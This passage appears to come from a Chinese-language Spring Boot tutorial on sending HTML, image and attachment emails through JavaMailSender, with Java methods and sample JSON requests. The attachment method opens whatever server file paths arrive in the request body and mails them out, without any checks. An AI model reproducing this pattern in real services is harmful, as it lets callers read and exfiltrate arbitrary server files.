* 第二個參數要為true,表示開啟識別html標簽.默認是false,也就是不識別.
* @param model
* @return
*/
public boolean sendMimeEmail(EmailModel model) {
MimeMessage mimeMessage=javaMailSender.createMimeMessage();
MimeMessageHelper helper=new MimeMessageHelper(mimeMessage);
try {
// 設置發件人郵箱
helper.setFrom(MAIL_USERNAME);
// 設置接收人賬號
helper.setTo(model.getRecipientMailbox());
// 設置郵件標題
helper.setSubject(model.getTitle());
// 設置抄送人
String[] ccMailbox=model.getCcMailbox();
if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
helper.setCc(model.getCcMailbox());
}
// 加密抄送人郵箱
String[] bccMailbox=model.getBccMailbox();
if (ArrayUtils.isNotEmpty(bccMailbox)) {
helper.setBcc(model.getBccMailbox()); // 加密抄送
}
// 發送日期
helper.setSentDate(new Date());
// 發送的內容包括html標簽, 需要 helper.setText(email.getContent(),true); 開啟html識別
// 使用 MimeMessage 對象, 調用setText方法, 里面的字符串是帶有html標簽的字符串,
// 在發送郵件的時候會自動解析正文中的html標簽
helper.setText(model.getContent(), true);
// 發送郵件
javaMailSender.send(mimeMessage);
log.info("send mime email success!");
return true;
} catch (MessagingException e) {
e.printStackTrace();
return false;
}
}
{
"recipientMailbox": [
"test@xxxx.cn"
],
"title": "鏈接地址測試主題",
"content": "<a href=\"https://www.baidu.com/\">點擊跳轉百度</a>"
}
方法和上面方法2中的代碼是一致的,只相當于郵件內容還是html標簽,現在就是使用的<img>標簽
{
"recipientMailbox": [
"test@xxxx.cn"
],
"title": "圖片測試主題",
"content": "<img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>"
}
效果圖:
我們的郵件中可能還需要附帶一些附件,比如文件,或者jar包等等,如何發送附件呢? 也是使用MimeMessage對象和MimeMessageHelper對象,但是在創建MimeMessageHelper對象的時候需要加一個參數為true.
/**
* 使用 MimeMessage 發送富文本郵件(附件,圖片,html等)
* @param model
* @return
*/
public boolean sendAttachMimeEmail(EmailModel model) {
MimeMessage mimeMessage=javaMailSender.createMimeMessage();
try {
// 發送帶附件的郵件, 需要加一個參數為true
MimeMessageHelper helper=new MimeMessageHelper(mimeMessage, true);
// 設置發件人郵箱
helper.setFrom(MAIL_USERNAME);
// 設置接收人賬號
helper.setTo(model.getRecipientMailbox());
// 設置郵件標題
helper.setSubject(model.getTitle());
// 設置抄送人
String[] ccMailbox=model.getCcMailbox();
if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
helper.setCc(model.getCcMailbox());
}
// 加密抄送人郵箱
String[] bccMailbox=model.getBccMailbox();
if (ArrayUtils.isNotEmpty(bccMailbox)) {
helper.setBcc(model.getBccMailbox()); // 加密抄送
}
// 發送日期
helper.setSentDate(new Date());
// 發送的內容包括html標簽, 需要 helper.setText(email.getContent(),true); 開啟html識別
// 使用 MimeMessage 對象, 調用setText方法, 里面的字符串是帶有html標簽的字符串,
// 在發送郵件的時候會自動解析正文中的html標簽
helper.setText(model.getContent(), true);
Map<String, Object> enclosures=model.getEnclosures();
// 創建要傳遞的附件對象
if (!CollectionUtils.isEmpty(enclosures)) { // import org.springframework.util.CollectionUtils;
for (String key : enclosures.keySet()) {
// File file=new File("D:\mybatis.doc");
File file=new File((String) enclosures.get(key));
// 通過MimeMessageHelper對象的addAttachment方法來傳遞附件
// 第一個參數為附件名, 第二個參數為File對象
helper.addAttachment(key, file);
}
}
// 預覽文件
// helper.addAttachment("2.jpg", new File("E:\\pic\\2.jpg"));
// 配合前端可以直接預覽圖片
// helper.addInline("p01", new FileSystemResource(new File("E:\\pic\\2.jpg")));
// helper.addInline("p02", new FileSystemResource(new File("E:\\pic\\2.jpg")));
// 發送郵件
javaMailSender.send(mimeMessage);
log.info("send mime email success!");
return true;
} catch (MessagingException e) {
e.printStackTrace();
return false;
}
}
{
"recipientMailbox": [
"test@xxx.cn"
],
"title": "附件測試主題",
"content": "<img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>",
"enclosures": {
"dog2.jpg": "E:\\2.新員工\\img\\dog2.png"
}
}
MimeMessageHelper helper=new MimeMessageHelper(mimeMessage,true);
File file=new File(“D:\Users\Administrator\Desktop\picture\mybatis.doc”);
helper.addAttachment(file.getName(),file);
放在resource/templates/mail目錄下
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
<h3>你看我<span style="font-size: 35px" th:text="${username}"></span>, 哈哈哈!</h3>
</body>
</html>
*請認真填寫需求信息,我們會在24小時內與您取得聯系。